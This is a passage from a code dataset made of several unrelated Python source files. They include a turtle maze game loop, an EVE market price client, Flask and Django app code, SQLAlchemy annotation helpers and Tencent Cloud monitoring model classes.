winsound.SND_ASYNC)\r\n time.sleep(1)\r\n \r\n\r\n if info.exp>450 and info.level5_claimed:\r\n info.hp=1500\r\n info.fullhp=1500\r\n info.strength=40\r\n info.defense=20\r\n info.level=5\r\n info.level5_claimed = False\r\n info.show_defense()\r\n info.show_health()\r\n info.show_strength()\r\n info.show_level()\r\n winsound.PlaySound(\".\\\\sound\\\\levelup.wav\", winsound.SND_ASYNC)\r\n time.sleep(1)\r\n\r\n if info.exp>700 and info.level6_claimed:\r\n info.hp=1700\r\n info.fullhp=1700\r\n info.strength=60\r\n info.defense=25\r\n info.level=6\r\n info.level6_claimed = False\r\n info.show_defense()\r\n info.show_health()\r\n info.show_strength()\r\n info.show_level()\r\n winsound.PlaySound(\".\\\\sound\\\\levelup.wav\", winsound.SND_ASYNC)\r\n time.sleep(1)\r\n\r\n if info.exp>950 and info.level7_claimed:\r\n info.hp=2000\r\n info.fullhp=2000\r\n info.strength=80\r\n info.defense=30\r\n info.level=7\r\n info.level7_claimed = False\r\n info.show_defense()\r\n info.show_health()\r\n info.show_strength()\r\n info.show_level()\r\n winsound.PlaySound(\".\\\\sound\\\\levelup.wav\", winsound.SND_ASYNC) \r\n time.sleep(1)\r\n\r\n if info.exp>1400 and info.level8_claimed:\r\n info.hp=2200\r\n info.fullhp=2200\r\n info.strength=100\r\n info.defense=50\r\n info.level=8\r\n info.level8_claimed = False\r\n info.show_defense()\r\n info.show_health()\r\n info.show_strength()\r\n info.show_level()\r\n winsound.PlaySound(\".\\\\sound\\\\levelup.wav\", winsound.SND_ASYNC) \r\n time.sleep(1)\r\n \r\n for coin in coins:\r\n if player.is_collision(coin):\r\n game.gold += coin.gold\r\n game.show_gold()\r\n #print(\"Player Gold: {}\".format (game.gold))\r\n coin.destroy()\r\n coins.remove(coin)\r\n winsound.PlaySound(\".\\\\sound\\\\coin.wav\", winsound.SND_ASYNC)\r\n\r\n for enemy in enemies:\r\n if player.is_collision(enemy):\r\n attack=enemy.damage\r\n reduce_damage=attack-(info.defense+game.armourstats)\r\n if reduce_damage <0 :\r\n reduce_damage=0\r\n\r\n info.hp-=reduce_damage\r\n info.show_health()\r\n\r\n for particle in particles:\r\n particle.explode(player.xcor(), player.ycor())\r\n\r\n for door in doors:\r\n if player.is_collision(door):\r\n walls.clear()\r\n pen.clear()\r\n wn.bgpic(\".\\\\art\\\\black.gif\")\r\n for enemy in enemies:\r\n Enemy.destroy(enemy)\r\n for coin in coins:\r\n Coin.destroy(coin)\r\n for door in doors:\r\n Door.destroy(door)\r\n for armour in armours:\r\n Armour.destroy(armour)\r\n for sword in swords:\r\n Sword.destroy(sword)\r\n for healing in healings:\r\n Healing.destroy(healing)\r\n for firescroll in firescrolls:\r\n Firescroll.destroy(firescroll)\r\n for npc in npcs:\r\n Npc.destroy(npc)\r\n for quest in quests:\r\n Quest.destroy(quest)\r\n for quest_item in quest_items:\r\n Quest_item.destroy(quest_item)\r\n for fake_wall in fake_walls:\r\n Fake_wall.destroy(fake_wall)\r\n for quest2 in quests2:\r\n Quest2.destroy(quest2)\r\n \r\n winsound.PlaySound(\".\\\\sound\\\\unlock.wav\", winsound.SND_ASYNC)\r\n \r\n if maze==(\"level1\"):\r\n \r\n setup_maze(levels[2])\r\n maze=(\"level2\")\r\n \r\n \r\n elif maze ==(\"level2\"):\r\n setup_maze(levels[3])\r\n maze=(\"level3\")\r\n \r\n \r\n elif maze==(\"level3\"):\r\n setup_maze(levels[4])\r\n maze=(\"level4\")\r\n \r\n\r\n elif maze==(\"level4\"):\r\n setup_maze(levels[5])\r\n maze=(\"level5\")\r\n\r\n elif maze==(\"level5\"):\r\n setup_maze(levels[6])\r\n maze=(\"level6\")\r\n\r\n elif maze==(\"level6\"):\r\n setup_maze(levels[7])\r\n maze=(\"level7\")\r\n\r\n elif maze==(\"level7\"):\r\n setup_maze(levels[8])\r\n maze=(\"level8\") \r\n \r\n else:\r\n pass\r\n \r\n for enemy in enemies:\r\n turtle.ontimer(enemy.move(walls,player),t=250)\r\n \r\n if info.hp<=0:\r\n game.dead()\r\n player.destroy()\r\n winsound.PlaySound(\".\\\\sound\\\\death.wav\", winsound.SND_ASYNC)\r\n time.sleep(2)\r\n info.show_health()\r\n break\r\n \r\n wn.update()\r\n","sub_path":"misc/enemy game.py","file_name":"enemy game.py","file_ext":"py","file_size_in_byte":26797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"65714848","text":"from xml.dom import minidom\nfrom google.appengine.api import memcache, urlfetch\n\nclass api(object):\n '''\n classdocs\n '''\n\n def readType(self, data):\n buyOrderPrice = data.getElementsByTagName('buy')[0].getElementsByTagName('max')[0].firstChild.data\n sellOrderPrice = data.getElementsByTagName('sell')[0].getElementsByTagName('min')[0].firstChild.data\n memcache.Client().set('Price/%s' % (data.getAttribute('id')),[float(buyOrderPrice), float(sellOrderPrice)],time=3600)\n #print data.getAttribute('id') + \": \" + buyOrderPrice, sellOrderPrice\n \n def httpGetPricesXML(self,itemIDs):\n params = ''\n cache = memcache.Client()\n for item in itemIDs:\n if cache.get('Price/%s' % item) is None:\n params += 'typeid=%s&' % (item)\n if params != '':\n params += 'usesystem=30000142' #Jita system\n response = urlfetch.fetch(url='http://api.eve-central.com/api/marketstat?%s' % (params),method=urlfetch.GET,deadline=60)\n if response.status_code == 200:\n result = response.content\n else:\n raise ValueError('HTTP Request failed with status code %s' % response.status_code)\n else:\n result = None\n return result\n \n def getPrice(self, itemIDs):\n if type(itemIDs) is str:\n items = [int(itemIDs)]\n elif type(itemIDs) is long:\n items = [int(itemIDs)]\n elif type(itemIDs) is int:\n items = [itemIDs]\n elif type(itemIDs) is list:\n items = itemIDs\n \n items = self.unique(items)\n xmlresponse = self.httpGetPricesXML(items)\n if xmlresponse is not None: \n doc = minidom.parseString(xmlresponse)\n if doc.documentElement.tagName == 'evec_api':\n for each in doc.getElementsByTagName(\"type\"):\n self.readType(each)\n \n def unique(self, seq):\n seen = set()\n seen_add = seen.add\n return [ x for x in seq if x not in seen and not seen_add(x)]","sub_path":"evecentralapi.py","file_name":"evecentralapi.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"6559203","text":"\nfrom flask import render_template,flash,redirect\nfrom app import app\nfrom forms import LoginForm\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n\n\t#fake user object\n\tuser = {'nickname':'ming'}\n\n\tposts = [\n\t\t\t{\n\t\t\t\t'author':{'nickname':'John'},\n\t\t\t\t'body':'Beautiful day in AnHui'\n\t\t\t},\t\n\t\t\t{\n\t\t\t\t'author':{'nickname':'Bing'},\n\t\t\t\t'body':'The Avengers movie was so cool!'\n\t\t\t}\n\t\t]\n\treturn render_template('index.html',title='Home',user=user,posts = posts)\n\n@app.route('/login',methods=['GET','POST'])\ndef login():\n\tform = LoginForm()\n\tif form.validate_on_submit():\n\t\t#flash('Login requested for OpenID=%s,remember_me=%s '\\\n\t\t#\t\t%(form.openid.data,str(form.remember_me.data)))\n\t\t\n\t\tflash('Login requested for OpenID=%s,remember_me=%s '\\\n\t\t\t\t%(form.openid.data,str(form.remember_me.data)))\n\t\treturn redirect('/index')\n\treturn render_template('login.html',title='Sigin In',\\\n\t\t\tform = form,providers=app.config['OPENID_PROVIDERS'])\n\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"195720855","text":"from __future__ import unicode_literals\n\nfrom django.db import models\n\nclass Collection(models.Model):\n id = models.AutoField(db_column='Id', primary_key=True)\n name = models.CharField(db_column='Name', null=True)\n\n class Meta:\n managed = False\n db_table = 'Collection'\n\nclass WeaponModel(models.Model):\n id = models.AutoField(db_column='Id', primary_key=True)\n name = models.CharField(db_column='Name', null=True)\n\n class Meta:\n managed = False\n db_table = 'WeaponModel'\n\nclass WeaponGrade(models.Model):\n id = models.AutoField(db_column='Id', primary_key=True)\n rank = models.IntegerField(db_column='Rank', null=True)\n name = models.CharField(db_column='Name', null=True)\n\n class Meta:\n managed = False\n db_table = 'WeaponGrade'\n\nclass CollectionItem(models.Model):\n id = models.AutoField(db_column='Id', primary_key=True)\n name = models.CharField(db_column='Name', null=True)\n float_min = models.DecimalField(db_column='FloatMin', max_digits=5, decimal_places=3)\n float_max = models.DecimalField(db_column='FloatMax', max_digits=5, decimal_places=3)\n stat_trak = models.BooleanField(db_column='StatTrak')\n souvenir = models.BooleanField(db_column='Souvenir')\n factory_new = models.BooleanField(db_column='FactoryNew')\n minimal_wear = models.BooleanField(db_column='MinimalWear')\n field_tested = models.BooleanField(db_column='FieldTested')\n well_worn = models.BooleanField(db_column='WellWorn')\n battle_scarred = models.BooleanField(db_column='BattleScarred')\n collection = models.ForeignKey(Collection, db_column='Collection')\n weapon_grade = models.ForeignKey(WeaponGrade, db_column='WeaponGrade')\n weapon_model = models.ForeignKey(WeaponModel, db_column='WeaponModel')\n\n class Meta:\n managed = False\n db_table = 'CollectionItem'\n\nclass SteamMarketUrl(models.Model):\n id = models.AutoField(db_column='Id', primary_key=True)\n url = models.CharField(db_column='Url', null=True)\n market_hash_name = models.CharField(db_column='market_hash_name', null=True)\n stat_trak = models.BooleanField(db_column='StatTrak')\n souvenir = models.BooleanField(db_column='Souvenir')\n factory_new = models.BooleanField(db_column='FactoryNew')\n minimal_wear = models.BooleanField(db_column='MinimalWear')\n field_tested = models.BooleanField(db_column='FieldTested')\n well_worn = models.BooleanField(db_column='WellWorn')\n battle_scarred = models.BooleanField(db_column='BattleScarred')\n collection_item = models.ForeignKey(CollectionItem, db_column='CollectionItem')\n\n class Meta:\n managed = False\n db_table = 'SteamMarketUrl'\n\nclass MarketData(models.Model):\n id = models.AutoField(db_column='Id', primary_key=True)\n price = models.DecimalField(db_column='Price', max_digits=8, decimal_places=3)\n currency_id = models.IntegerField(db_column='CurrencyId', null=True)\n time_seen = models.DateTimeField(db_column='TimeSeen')\n market_url = models.ForeignKey(SteamMarketUrl, db_column='MarketUrl')\n\n class Meta:\n managed = False\n db_table = 'MarketData'\n\nclass Currency(models.Model):\n id = models.AutoField(db_column='Id', primary_key=True)\n name = models.CharField(db_column='Name', null=True)\n exchange_rate = models.DecimalField(db_column='ExchangeRate', max_digits=16, decimal_places=8)\n\n class Meta:\n managed = False\n db_table = 'Currency'\n\nclass LatestPrice(models.Model):\n id = models.AutoField(db_column='Id', primary_key=True)\n steam_market_url = models.ForeignKey(SteamMarketUrl, db_column='SteamMarketUrl')\n average_price = models.DecimalField(db_column='AveragePrice', max_digits=8, decimal_places=3)\n time_seen = models.DateTimeField(db_column='TimeSeen')\n\n class Meta:\n managed = False\n db_table = 'LatestPrice'\n","sub_path":"www/bin/csgoskin/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"148803966","text":"\"\"\"DataConvert \n\nThe DataConvert class just a service that class convert data in different format.\nIn this class we are reading DAT, STM and ecodedXmlFile\n\n\"\"\"\n\n# importing for libraries\nimport numpy\nimport pandas as pd\nfrom datetime import datetime, timedelta\nfrom xml.etree import ElementTree\nimport base64\nimport urllib2\nimport xmltodict\nfrom core.services.DatabaseConnection import *\nfrom core.persistence.CostData import *\n\nclass DataConvert: \n \"\"\"Reading DAT, STM and ecodedXmlFile file.\n\n This class convert data and reading DAT, STM and ecodedXmlFile from specific folder location\n\n \"\"\"\n\n @staticmethod\n def readSTM(lane, user_folder, n): \n \"\"\"Reading STM value from CSV and return detail of particular lane.\n Note:\n This is static method so call this function by statically\n like DataConvert.readSTM.\n Args:\n lane(str): the name of the lane.\n user_folder(str): the user_folder is folder location (location of the files)\n n(int): n is number of days\n Returns:\n context (this is combination of two values tableData and recent_cost_table_data)\n \"\"\" \n try:\n origin = lane[:4] # Origin_PR\n dest = lane[-4:] # Dest_PR\n\n #make connection with database\n con = DatabaseConnection.connectWithDB()\n\n #get query result \n input_df = CostData.queryToGetCostData(origin, dest, n, con)\n #close database connection\n con.close()\n\n input_df['PR_Lane'] = input_df['Origin_PR'] + input_df['Dest_PR']\n\n if input_df.empty:\n context = {'tableData': '', 'recent_cost_table_data': ''}\n else:\n slice2 = input_df[[\"CreateDate_EST\", 'PR_Lane', 'Carrier_Name', 'Customer_LHL']]\n sorted_array = slice2.sort([\"CreateDate_EST\"], ascending=False)\n g = sorted_array.groupby(['PR_Lane', 'Carrier_Name'])\n recent = (g['Customer_LHL'].first()).astype(float)\n # get second last record\n nth = (g.nth(1).fillna(value=0).reset_index())\n # get sum of accepted data\n countAccepted = (g['Carrier_Name'].count())\n # get top 10 records\n final = pd.DataFrame({'countAccepted': countAccepted, 'LH_COST_RECENT': recent}).fillna(\n value=0).reset_index()\n fData = []\n # sort according to the recent cost\n fData = final.sort([\"LH_COST_RECENT\"], ascending=True).head(10)\n # convert data frame to array\n nparray = numpy.array(fData)\n tableData = nparray.tolist()\n # second recent record from data frame to an array\n recent_cost = nth\n recent_cost_array = numpy.array(recent_cost)\n recent_cost_table_data = recent_cost_array.tolist()\n\n context = {'tableData': tableData, 'recent_cost_table_data': recent_cost_table_data}\n return context\n except:\n context = {'tableData': '', 'recent_cost_table_data': ''}\n return context\n\n","sub_path":"core/services/DataConvert.py","file_name":"DataConvert.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"622480001","text":"#! /usr/bin/env python\n\nfrom scipy.io import wavfile\nfrom scipy.interpolate import interp1d\nimport damage, recognize, utils, evaluate\n\nsample_rate, samples = wavfile.read('songs/hakuna_matata.wav')\n\nnewsamples = samples.copy()\ndamage.zerofill(newsamples, 0.5)\nwavfile.write('songs/zerofill_hakuna_matata.wav', sample_rate, newsamples)\n\nmatches = recognize.cheat(samples, newsamples, false_negatives=0.01)\nvalidx, validy = utils.tovalidxy(newsamples, matches)\nf = interp1d(validx, validy, fill_value='extrapolate')\n\ninvalidx = utils.invalidx(matches)\nfixedy = f(invalidx)\n\nutils.replace(newsamples, invalidx, fixedy)\nwavfile.write('songs/zerofill_cheat_linear_hakuna_matata.wav', sample_rate, newsamples)\n\nevaluate.study(samples, newsamples, matches=matches)\n","sub_path":"investigation/wav/linear.output.example.py","file_name":"linear.output.example.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"208803918","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nfrom utils import FileManager\nfrom os import path as os_path\nimport os, io\nimport sys\nimport shutil\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nrootDir = \"../我的对对对源文件innerclass\"\ndestDir = \"../app/src/main/java/\"\nmapping = {}\n\n\nclass item:\n def __init__(self):\n self.value = ''\n self.isSubclass = False\n\ndef traversal(basicDir):\n getMapping()\n fileList = FileManager.lsAllFile(basicDir)\n for f in fileList:\n alter(f)\n\n\ndef getMapping():\n for line in open(\"replacemap.txt\", \"r\"): # 设置文件对象并读取每一行文件\n array = line.strip().split(',', 1)\n mapping[array[0]] = array[1]\n print(\"mapping: \" + str(mapping))\n\n\ndef alter(file):\n if os_path.basename(file).startswith(\".\") :\n return\n\n new_file = file.replace(rootDir, destDir)\n b, new_file = replaceString(new_file)\n if not os.path.exists(os_path.dirname(new_file)):\n os.makedirs(os_path.dirname(new_file))\n\n if os.path.exists(new_file):\n os.remove(new_file)\n\n with io.open(file, \"r\", encoding=\"utf-8\") as f1, io.open(new_file, \"w\", encoding=\"utf-8\") as f2:\n for line in f1:\n has_replace, newline = replaceString(line)\n if has_replace:\n print(\"alterfile: \" + line + \" - > \" + newline)\n f2.write(newline)\n\n f1.close()\n f2.close()\n\n\ndef replaceString(line):\n needNotice = line.startswith(\"import \")\n has_replace = False\n old_line = line\n for old, new in mapping.items():\n if old in line:\n has_replace = True\n if needNotice and len(new.split('.')) > 1:\n new = new.rsplit('.', 1)[0]\n line = line.replace(old, new)\n\n # if has_replace:\n # print(\"replaceString: \" + old_line + \" - > \" + line)\n return has_replace, line\n\n\nif __name__ == '__main__':\n print(\"start replacement\")\n if os.path.exists(destDir):\n shutil.rmtree(destDir) # 递归删除文件夹\n else:\n os.makedirs(destDir)\n traversal(rootDir)\n","sub_path":"py/replacejava.py","file_name":"replacejava.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"489704070","text":"\"\"\"\nSQLAlchemy attribute annotations\n--------------------------------\n\nAnnotations are strings attached to attributes that serve as a programmer\nreference on how those attributes are meant to be used. They can be used to\nindicate that a column's value should be :attr:`immutable` and should never\nchange, or that it's a :attr:`cached` copy of a value from another source\nthat can be safely discarded in case of a conflict.\n\nThis module's exports may be imported via :mod:`coaster.sqlalchemy`.\n\nSample usage::\n\n from coaster.db import db\n from coaster.sqlalchemy import annotation_wrapper, immutable\n\n natural_key = annotation_wrapper('natural_key', \"Natural key for this model\")\n\n class MyModel(db.Model):\n __tablename__ = 'my_model'\n id = immutable(db.Column(db.Integer, primary_key=True))\n name = natural_key(db.Column(db.Unicode(250), unique=True))\n\n @classmethod\n def get(cls, **kwargs):\n for key in kwargs:\n if key in cls.__column_annotations__[natural_key.name]:\n return cls.query.filter_by(**{key: kwargs[key]}).one_or_none()\n\nAnnotations are saved to the model's class as a ``__column_annotations__``\ndictionary, mapping annotation names to a list of attribute names, and to a\nreverse lookup ``__column_annotations_by_attr__`` of attribute names to annotations.\n\"\"\"\n\nfrom collections.abc import Hashable\nfrom typing import Any, Dict\n\nfrom sqlalchemy import event\nfrom sqlalchemy.orm import ColumnProperty, RelationshipProperty, SynonymProperty, mapper\nfrom sqlalchemy.orm.attributes import QueryableAttribute\nfrom sqlalchemy.schema import SchemaItem\n\nfrom ..signals import coaster_signals\n\ntry: # SQLAlchemy >= 1.4\n from sqlalchemy.orm import MapperProperty # type: ignore[attr-defined]\nexcept ImportError: # SQLAlchemy < 1.4\n from sqlalchemy.orm.interfaces import MapperProperty\n\n__all__ = ['annotations_configured', 'annotation_wrapper']\n\n# Global dictionary for temporary storage of annotations until the\n# mapper_configured events\n__cache__: Dict[Any, list] = {}\n\n# --- Signals -----------------------------------------------------------------\n\nannotations_configured = coaster_signals.signal(\n 'annotations-configured',\n doc=\"Signal raised after all annotations on a class are configured\",\n)\n\n\n# --- SQLAlchemy signals for base class ---------------------------------------\n\n\n@event.listens_for(mapper, 'mapper_configured')\ndef _configure_annotations(mapper_, cls):\n \"\"\"\n Extract annotations from attributes.\n\n Run through attributes of the class looking for annotations from\n :func:`annotation_wrapper` and add them to :attr:`cls.__column_annotations__`\n and :attr:`cls.__column_annotations_by_attr__`\n \"\"\"\n annotations = {}\n annotations_by_attr = {}\n\n # An attribute may be defined more than once in base classes. Only handle the first\n processed = set()\n\n # Loop through all attributes in the class and its base classes,\n # looking for annotations\n for base in cls.__mro__:\n for name, attr in base.__dict__.items():\n if name in processed or name.startswith('__'):\n continue\n\n if isinstance(attr, QueryableAttribute) and isinstance(\n getattr(attr, 'original_property', None), SynonymProperty\n ):\n # Skip synonyms\n data = None\n # 'data' is a list of string annotations\n elif isinstance(attr, Hashable) and attr in __cache__:\n data = __cache__[attr]\n elif hasattr(attr, '_coaster_annotations'):\n data = attr._coaster_annotations\n elif isinstance(\n attr, (QueryableAttribute, RelationshipProperty, MapperProperty)\n ):\n if attr.property in __cache__:\n data = __cache__[attr.property]\n elif '_coaster_annotations' in attr.info:\n data = attr.info['_coaster_annotations']\n elif hasattr(attr.property, '_coaster_annotations'):\n data = getattr(attr.property, '_coaster_annotations')\n else:\n data = None\n else:\n data = None\n if data is not None:\n annotations_by_attr.setdefault(name, []).extend(data)\n for a in data:\n annotations.setdefault(a, []).append(name)\n processed.add(name)\n\n # Classes specifying ``__column_annotations__`` directly isn't supported,\n # so we don't bother preserving existing content, if any.\n if annotations:\n cls.__column_annotations__ = annotations\n if annotations_by_attr:\n cls.__column_annotations_by_attr__ = annotations_by_attr\n annotations_configured.send(cls)\n\n\n# --- Helpers -----------------------------------------------------------------\n\n\ndef annotation_wrapper(annotation, doc=None):\n \"\"\"Define an annotation, which can be applied to attributes in a database model.\"\"\"\n\n def decorator(attr):\n __cache__.setdefault(attr, []).append(annotation)\n # Also mark the annotation on the object itself. This will\n # fail if the object has a restrictive __slots__, but it's\n # required for some objects like Column because SQLAlchemy copies\n # them in subclasses, changing their hash and making them\n # undiscoverable via the cache.\n if isinstance(attr, SynonymProperty):\n raise TypeError(\n \"Synonyms cannot have annotations; set it on the referred attribute\"\n )\n if isinstance(attr, (SchemaItem, ColumnProperty, MapperProperty)):\n attr.info.setdefault('_coaster_annotations', []).append(annotation)\n else:\n try:\n if not hasattr(attr, '_coaster_annotations'):\n setattr(attr, '_coaster_annotations', [])\n attr._coaster_annotations.append(annotation)\n except AttributeError:\n pass\n return attr\n\n decorator.__name__ = decorator.name = annotation\n decorator.__doc__ = doc\n return decorator\n","sub_path":"coaster/sqlalchemy/annotations.py","file_name":"annotations.py","file_ext":"py","file_size_in_byte":6150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"552681403","text":"# # # # # # # # # # # # # # # # # # # # # # # #\r\n# # \r\n# Module to run condition module #\r\n# By: David Alvarez #\r\n# 08-11-2020 #\r\n# Version Aplha-0. 1 # \r\n# #\r\n# # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\nfrom PywerAPM_Case_Setting import*\r\n\r\nfrom APM_Module import APM \r\nfrom Processing_tools import Report_APM_df, Report_APM_Meta_data, Report_ACM_Meta_data\r\nimport pandas as pd\r\nfrom datetime import datetime\r\n\r\n#results_path ='RESULTS/'\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Run criticality #\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\ndef run_criticality():\r\n import PywerACM_Main\r\n df = PywerACM_Main.run_ACM(N)\r\n store = pd.HDFStore(results_path+'Results_ACM.h5')\r\n store.put('df', df)\r\n store.get_storer('df').attrs['TITLE'] = 'ACM_Report'\r\n date = datetime.date(datetime.now())\r\n print(date)\r\n store.get_storer('df').attrs['Date'] = date\r\n store.close()\r\n\r\n\r\ndef load_criticality(cr_type='Monte_Carlo',assets=None): \r\n if cr_type == 'Monte_Carlo': # Load Montecarlo simulations\r\n store = pd.HDFStore(results_path+'Results_ACM.h5')\r\n df = store['df']\r\n store.close()\r\n else: # Fixed conditios\r\n df = assets.copy()\r\n df_type = {}\r\n df_group = assets.groupby(['Disc_Type'])\r\n for group in df_group: # Read criticality by type of asset \r\n name = group[0]\r\n df_type = pd.read_excel(cr_type, sheet_name=name,usecols = \"A:H\")\r\n for index, row in df_type.iterrows(): \r\n df.loc[(df.Disc_Type==name) & (df.Asset_To_Disconet==row.Asset),['Cr_Env','Cr_Sec','Cr_Leg']] = [row.ENVIRONMENTAL,row.SECURITY,row.LEGAL]\r\n # Total criticality\r\n df['T_Cr'] = df['Cr_Env']+df['Cr_Sec']+df['Cr_Leg']+df['Cr_Fin'] \r\n return df\r\n\r\n# Generate condition report\r\ndef Generate_Report_Risk(DF_ACP,DF_sum):\r\n from R1_Reports import Test_Report_AC\r\n Test_Report_AC(report_data,DF_ACP,DF_sum,years,N)\r\n","sub_path":"APM/BIN/ARM_Run.py","file_name":"ARM_Run.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"620215529","text":"# -*- coding: utf8 -*-\n# Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom tencentcloud.common.abstract_model import AbstractModel\n\n\nclass DataPoint(AbstractModel):\n \"\"\"监控数据点\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n :param Dimensions: 实例对象维度组合\n :type Dimensions: list of Dimension\n :param Timestamps: 时间戳数组，表示那些时间点有数据，缺失的时间戳，没有数据点，可以理解为掉点了\n :type Timestamps: list of float\n :param Values: 监控值数组，该数组和Timestamps一一对应\n :type Values: list of float\n \"\"\"\n self.Dimensions = None\n self.Timestamps = None\n self.Values = None\n\n\n def _deserialize(self, params):\n if params.get(\"Dimensions\") is not None:\n self.Dimensions = []\n for item in params.get(\"Dimensions\"):\n obj = Dimension()\n obj._deserialize(item)\n self.Dimensions.append(obj)\n self.Timestamps = params.get(\"Timestamps\")\n self.Values = params.get(\"Values\")\n\n\nclass DescribeBaseMetricsRequest(AbstractModel):\n \"\"\"DescribeBaseMetrics请求参数结构体\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n :param Namespace: 业务命名空间\n :type Namespace: str\n :param MetricName: 指标名\n :type MetricName: str\n \"\"\"\n self.Namespace = None\n self.MetricName = None\n\n\n def _deserialize(self, params):\n self.Namespace = params.get(\"Namespace\")\n self.MetricName = params.get(\"MetricName\")\n\n\nclass DescribeBaseMetricsResponse(AbstractModel):\n \"\"\"DescribeBaseMetrics返回参数结构体\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n :param MetricSet: 查询得到的指标描述列表\n :type MetricSet: list of MetricSet\n :param RequestId: 唯一请求 ID，每次请求都会返回。定位问题时需要提供该次请求的 RequestId。\n :type RequestId: str\n \"\"\"\n self.MetricSet = None\n self.RequestId = None\n\n\n def _deserialize(self, params):\n if params.get(\"MetricSet\") is not None:\n self.MetricSet = []\n for item in params.get(\"MetricSet\"):\n obj = MetricSet()\n obj._deserialize(item)\n self.MetricSet.append(obj)\n self.RequestId = params.get(\"RequestId\")\n\n\nclass Dimension(AbstractModel):\n \"\"\"实例对象的维度组合\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n :param Name: 实例维度名称\n :type Name: str\n :param Value: 实例维度值\n :type Value: str\n \"\"\"\n self.Name = None\n self.Value = None\n\n\n def _deserialize(self, params):\n self.Name = params.get(\"Name\")\n self.Value = params.get(\"Value\")\n\n\nclass DimensionsDesc(AbstractModel):\n \"\"\"维度信息\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n :param Dimensions: 维度名数组\n :type Dimensions: list of str\n \"\"\"\n self.Dimensions = None\n\n\n def _deserialize(self, params):\n self.Dimensions = params.get(\"Dimensions\")\n\n\nclass GetMonitorDataRequest(AbstractModel):\n \"\"\"GetMonitorData请求参数结构体\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n :param Namespace: 命名空间，每个云产品会有一个命名空间\n :type Namespace: str\n :param MetricName: 指标名称，各个云产品的详细指标说明请参阅各个产品[监控接口](https://cloud.tencent.com/document/product/248/30384)文档\n :type MetricName: str\n :param Instances: 实例对象的维度组合\n :type Instances: list of Instance\n :param Period: 监控统计周期。默认为取值为300，单位为s\n :type Period: int\n :param StartTime: 起始时间，如2018-09-22T19:51:23+08:00\n :type StartTime: str\n :param EndTime: 结束时间，默认为当前时间。 EndTime不能小于EtartTime\n :type EndTime: str\n \"\"\"\n self.Namespace = None\n self.MetricName = None\n self.Instances = None\n self.Period = None\n self.StartTime = None\n self.EndTime = None\n\n\n def _deserialize(self, params):\n self.Namespace = params.get(\"Namespace\")\n self.MetricName = params.get(\"MetricName\")\n if params.get(\"Instances\") is not None:\n self.Instances = []\n for item in params.get(\"Instances\"):\n obj = Instance()\n obj._deserialize(item)\n self.Instances.append(obj)\n self.Period = params.get(\"Period\")\n self.StartTime = params.get(\"StartTime\")\n self.EndTime = params.get(\"EndTime\")\n\n\nclass GetMonitorDataResponse(AbstractModel):\n \"\"\"GetMonitorData返回参数结构体\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n :param Period: 统计周期\n :type Period: int\n :param MetricName: 指标名\n :type MetricName: str\n :param DataPoints: 数据点数组\n :type DataPoints: list of DataPoint\n :param StartTime: 开始时间\n :type StartTime: str\n :param EndTime: 结束时间\n :type EndTime: str\n :param RequestId: 唯一请求 ID，每次请求都会返回。定位问题时需要提供该次请求的 RequestId。\n :type RequestId: str\n \"\"\"\n self.Period = None\n self.MetricName = None\n self.DataPoints = None\n self.StartTime = None\n self.EndTime = None\n self.RequestId = None\n\n\n def _deserialize(self, params):\n self.Period = params.get(\"Period\")\n self.MetricName = params.get(\"MetricName\")\n if params.get(\"DataPoints\") is not None:\n self.DataPoints = []\n for item in params.get(\"DataPoints\"):\n obj = DataPoint()\n obj._deserialize(item)\n self.DataPoints.append(obj)\n self.StartTime = params.get(\"StartTime\")\n self.EndTime = params.get(\"EndTime\")\n self.RequestId = params.get(\"RequestId\")\n\n\nclass Instance(AbstractModel):\n \"\"\"实例维度组合数组\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n :param Dimensions: 实例的维度组合\n :type Dimensions: list of Dimension\n \"\"\"\n self.Dimensions = None\n\n\n def _deserialize(self, params):\n if params.get(\"Dimensions\") is not None:\n self.Dimensions = []\n for item in params.get(\"Dimensions\"):\n obj = Dimension()\n obj._deserialize(item)\n self.Dimensions.append(obj)\n\n\nclass MetricObjectMeaning(AbstractModel):\n \"\"\"指标数据的解释\n\n \"\"\"\n\n def 